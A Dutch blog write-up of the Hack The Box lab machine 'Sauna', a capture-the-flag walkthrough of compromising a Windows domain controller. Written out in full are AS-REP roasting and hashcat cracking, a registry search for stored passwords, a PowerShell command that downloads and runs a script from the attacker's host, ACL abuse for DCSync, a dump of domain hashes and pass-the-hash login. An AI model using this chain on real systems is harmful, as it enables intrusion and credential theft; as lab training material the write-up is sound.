tech365
HackTheBox WriteUp Sauna

Hack The Box Writeup: Sauna

Na het uitfaseren van de box JSON is er een nieuwe Microsoft Windows box gereleased. Onder de naam Sauna ging deze “Easy” box op 15 februari live voor een ieder om flink los te gaan met een goede dosis DCSync-power!

Hack The Box Sauna

Technology is just a tool. In terms of getting the kids working together and motivating them, the teacher is the most important.

– Bill Gates

Eerste stap: de Nmap scan. De standaard Windows Server poorten zijn zichtbaar en poort 80 serveert waarschijnlijk een website op basis van IIS 10.0

nmap -sV -sC -oA sauna 10.10.10.175

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 07:41 GMT


Nmap scan report for 10.10.10.175
Host is up (0.068s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-16 15:43:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/16%Time=5E48F264%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m56s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-02-16T15:45:43
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 350.43 seconds

Op http://10.10.10.175 wordt de website van de Egotistic Bank getoond. De maker van deze box is Egotistic, dus tja…. dat verklaard ineens heel veel.

htb_sauna_website

Er is weinig interessant te vinden tijdens het zoeken naar usernames. Enum4linux geeft geen output en ook andere tools blijven angstvallig stil. Ik pak altijd graag de “Team”-pagina’s van een website erbij. Hier vind je vaak hint naar gebruikers. In dit geval zijn er inderdaad een paar te vinden.

htb_sauna_team

Een stukje bruteforcen dan maar. Ik heb een lijst gemaakt in users.txt gebruikers op basis van standaard naamgevingen. Ik neem de voornaam, voornaam en eerste letter van de achrternaam en eerste letter van de voornaam+achternaam. Eens kijken of dit wat oplevert.

cat users.txt 
hugo
hugos
hsmith
fsmith
ferguss
shaun
scoins
shaunc
sophie
sdrivers
sophied
bowie
bowiet
btaylor
steven
stevenk
skerb

Door middel van het GetNPUsers.py zoek ik of er accounts in de lijst te vinden zijn waarvan ik het Ticket Granting Ticket (TGT) kan pakken. Dit zijn accounts waarbij de optie “Do not require Kerberos Preauthentication” aan staat. Ik kies er alvast voor de eventuele hashes in hascat-formaat weg te schrijven zodat ze straks eenvoudig te kraken zijn.

python /usr/share/impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.local/ -usersfile ~/Documents/boxes/sauna/users.txt -format hashcat -outputfile ~/Documents/boxes/sauna/kerb-hashes.txt
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Het script is redelijk vlot klaar en er wordt inderdaad een account gevonden waarvan het TGT gepakt kan worden. De andere accounts lijken niet te bestaan.

cat ~/Documents/boxes/sauna/kerb-hashes.txt
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:093bde10e47a9921a82142cdeffd9ee5$d2ba9245d73b954023d9f1b3a288386775b342144f8575548b4f72e8d026faece1fef842e19d29eed6f0707b08c981cbbc56bd6743e6e73e8f61cb645fdd2a7bd1746aeb2cc9658d62260896f882f591cfd81e1bb04ea5b0b4e6234f20c30658c3779e8d6af266aa1a23561599da9a89ea3d17138740707b43e832eee338693beaf3a87bfe82f239be3b5c92c65149cf1badec07579e2e499f1030bc1f9c87ddf3e34ab164349c9d73f6df34f158df7968891a25379f807ef4cb8e477f6c9e9ff5dfd7c9966f6c0c0ebc2d82e3e4a75e897e26b99a3a32bb6234609e263a87f7899c0320c05e4901a25447acfa873baafffe6d4ec74d306623e2b7e27144312c

De hash gaat regelrecht naar Hashcat en op basis van de Rockyou wordlist is het wachtwoord binnen 40 seconden achterhaalt.

hashcat -m 18200 ~/Documents/boxes/sauna/kerb-hashes.txt /usr/share/wordlists/rockyou.txt --force
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 1024/2955 MB allocatable, 4MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll'
* Device #1: Kernel m18200_a0-pure.b9f808b5.kernel not found in cache! Building may take a while...
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:093bde10e47a9921a82142cdeffd9ee5$d2ba9245d73b954023d9f1b3a288386775b342144f8575548b4f72e8d026faece1fef842e19d29eed6f0707b08c981cbbc56bd6743e6e73e8f61cb645fdd2a7bd1746aeb2cc9658d62260896f882f591cfd81e1bb04ea5b0b4e6234f20c30658c3779e8d6af266aa1a23561599da9a89ea3d17138740707b43e832eee338693beaf3a87bfe82f239be3b5c92c65149cf1badec07579e2e499f1030bc1f9c87ddf3e34ab164349c9d73f6df34f158df7968891a25379f807ef4cb8e477f6c9e9ff5dfd7c9966f6c0c0ebc2d82e3e4a75e897e26b99a3a32bb6234609e263a87f7899c0320c05e4901a25447acfa873baafffe6d4ec74d306623e2b7e27144312c:Thestrokes23 

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:093bde1...44312c
Time.Started.....: Sun Feb 16 09:17:01 2020 (21 secs)
Time.Estimated...: Sun Feb 16 09:17:22 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 510.1 kH/s (6.79ms) @ Accel:32 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 10543104/14344385 (73.50%)
Rejected.........: 0/10543104 (0.00%)
Restore.Point....: 10534912/14344385 (73.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Tioncurtis23 -> Teague51

Started: Sun Feb 16 09:16:45 2020
Stopped: Sun Feb 16 09:17:23 2020

Ik kan weer verder zoeken op Sauna wetende dat het account fsmith met wachtwoord Thestrokes23 bruikbaar is. Er zijn wat shares beschikbaar echter heeft het account hier geen rechten op. Weinig interessants te vinden dus ga ik over naar aanmelden via Windows Remote Management met behulp van de tool Evil-WINRM.

evil-winrm -u fsmith -p "Thestrokes23" -i 10.10.10.175

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents>

Verbinden is gelukt. Als eerste even checken of dit account de houder is van de user-flag in zijn Desktop map. Zo te zien wel.

*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir


    Directory: C:\Users\FSmith\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/23/2020 10:03 AM 34 user.txt     

There it is, the user-flag van Sauna. Hiermee is het eerste deel van deze box in the pocket.

*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
1b5520b98d97cf17f24122a55baf70cf

Een van de eerste check is altijd de C:\Users map op een Windows Server. Hier vind je snel eventuele hints naar andere users op de machine. In dit geval springt svc_loanmgr eruit.

*Evil-WinRM* PS C:\Users> dir

    Directory: C:\Users

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/25/2020 1:05 PM Administrator
d----- 1/23/2020 9:52 AM FSmith
d-r--- 1/22/2020 9:32 PM Public
d----- 1/24/2020 4:05 PM svc_loanmgr 

Na flink wat enumeration kom ik uiteindelijk via een tip uit bij het register. Het wachtwoord zou hier bewaard moeten zijn en ik gebruik een zoekquery om in het register te zoeken naar een string waarin het woord password zit. Hier is hij even zoet mee en uiteindelijk heb ik het password te pakken van het serviceaccount. Het account is geconfigureerd om automatisch aan te melden en hierdoor is het wachtwoord in platte tekst te vinden in de Winlogon hive.

reg query HKLM /f password /t REG_SZ /s

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultPassword REG_SZ Moneymakestheworldgoround!

Met het nieuwe account doe ik dezelfde handeling als bij fsmith. Aanmelden met Evil-WINRM om te zien wat er met dit account mogelijk is.

evil-winrm -u "svc_loanmgr" -p "Moneymakestheworldgoround!" -i 10.10.10.175

Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>

Na een tijdje rondkijken vind ik niets interessants. Na de Forest-box heb ik wat ervaring opgedaan met BloodHound en ik kies er hier voor om te kijken of ik hiermee een pad naar eventueel DCSync-rechten kan vinden. Ik bied SharepHound via mijn machine aan zodat ik heb kan downloaden en uitvoeren. De output download ik vervolgens om in Bloodhoud verder te analyseren.

powershell -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.18:8000/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All -Verbose -LdapUSer 'svc_loanmgr' -LdapPass 'Moneymakestheworldgoround!'"
Initializing BloodHound at 2:38 PM on 2/16/2020
Found usable Domain Controller for EGOTISTICAL-BANK.LOCAL : SAUNA.EGOTISTICAL-BANK.LOCAL
Adding Network Credential to connection
Resolved Collection Methods to Group, LocalAdmin, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets
Building GUID Cache
Starting Enumeration for EGOTISTICAL-BANK.LOCAL
Adding Network Credential to connection
Waiting for enumeration threads to finish
Found usable Domain Controller for EGOTISTICAL-BANK.LOCAL : SAUNA.EGOTISTICAL-BANK.LOCAL
Status: 60 objects enumerated (+60 60/s --- Using 76 MB RAM )
Finished enumeration for EGOTISTICAL-BANK.LOCAL in 00:00:01.9931054
0 hosts failed ping. 0 hosts timedout.
Waiting for writer thread to finish
Compressing data to C:\Users\svc_loanmgr\20200216143837_BloodHound.zip.
You can upload this file directly to the UI.
Finished compressing files!

Voordat ik BloodHound kan starten moet het Neo4j platform draaien. Dit is slechts 1 commando. Mocht je problemen ondervinden met foutmeldingen rondom pid-locks, update dan je versie van neo4j even met apt-get install neo4j.

neo4j console

Als neo4j is gestart dan is de beurt aan BloodHound.

bloodhound

Ik importeer de output van de machine onder het svc_loanmgr account om te zien wat het kortste pad is naar Domain Admin. Dit levert echter niet meer op dan het account Administrator nodig te hebben. Met een query voor het zoeken naar DCSync permissies krijg ik meer output.

htb_sauna_bloodhound

Toch is het nog niet goed duidelijk wat er nodig is. Via een blog van Dirk-jan Mollema kom ik uit bij een van zijn tools als extensie van Bloodhound genaamd: ACLPWN. Op basis van Bloodhound bepaal je de start en het einddoel en vervolgens gebruik je ACLPWN om eerst een “droge” testrun te doen en vervolgens de acties ook daadwerkelijk uit te voeren om DCSync-rechten te pakken. Je kunt ACLPWN installeren vanaf Github via PIP.

pip install aclpwn 

Als eerste doe ik een snelle check met de -dry parameter. Het pad is juist en er is inderdaad een mogelijkheid tot het verkrijgen van DCSync.

aclpwn -f svc_loanmgr -ft user -d egotistical-bank.local -dry

[+] Path found!
Path: (SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL)-[GetChangesAll]->(EGOTISTICAL-BANK.LOCAL)
[+] Path validated, the following modifications are required for exploitation in the current configuration:
[-] DCSync -> continue

En dan voor het “eggie”. Zonder de parameter -Dry vort ACLPWN direct de wijzigingen door en geeft svc_loanmgr de gewenste rechten.

aclpwn -f svc_loanmgr -ft user -d egotistical-bank.local
Please supply the password or LM:NTLM hashes of the account you are escalating from: 
[+] Path found!
Path: (SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL)-[GetChangesAll]->(EGOTISTICAL-BANK.LOCAL)
[-] DCSync -> continue
[+] Finished running tasks

Nu is het alleen nog zaak om een sync te vragen van de domain controller, in dit geval Sauna, en de hashes weg te schrijven naar adhashes.txt.

python /usr/share/impacket/examples/secretsdump.py egotistical-bank/svc_loanmgr@10.10.10.175 -just-dc -outputfile adhashes.txt

Alle lokale- en domeinaccounts worden keurig weggeschreven voor verdere verwerking.

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:7a2965077fddedf348d938e4fa20ea1b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0
Administrator:des-cbc-md5:19d5f15d689b1ce5
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:a90968c91de5f77ac3b7d938bd760002373f71e14e1a027b2d93d1934d64754a
SAUNA$:aes128-cts-hmac-sha1-96:0bf0c486c1262ab6cf46b16dc3b1b198
SAUNA$:des-cbc-md5:b989ecc101ae4ca1
[*] Cleaning up...

Waarom moeilijk doen als het ook makkelijk kan. Geen John the Ripper of Hashcat, gewoon de hash gebruiken om aan te melden met Evil-WINRM. Op de desktop staat de root.txt al op mijn te wachten.

evil-winrm -u administrator -H d9485863c1e9e05851aa40cbb4ab9dff -i 10.10.10.175

Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> dir
    Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a---- 1/23/2020 10:22 AM 32 root.txt 

Do you even got root bro? Nu wel 🙂 Interessante box waar de methoden niet zo ingewikkeld waren, maar er wel veel tijd gaat zitten in de enumeration.

*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
f3ee04965c68257382e31502cc5e881f

Martijn

Martijn is naast eigenaar van tech365 ook werkzaam als IT Professional. Zijn passies zijn gadgets, fotografie en alles wat met automotive te maken heeft. Je kunt hem ook vinden als blogger op wielerblog www.lifebehindbars.nl

Reageren

Geef een reactie

Deze website gebruikt Akismet om spam te verminderen. Bekijk hoe je reactie-gegevens worden verwerkt.

Privacy opties

Wijzig je voorkeur voor het bijhouden van gegevens op tech365.

Privacybeleid | Sluiten
Instellingen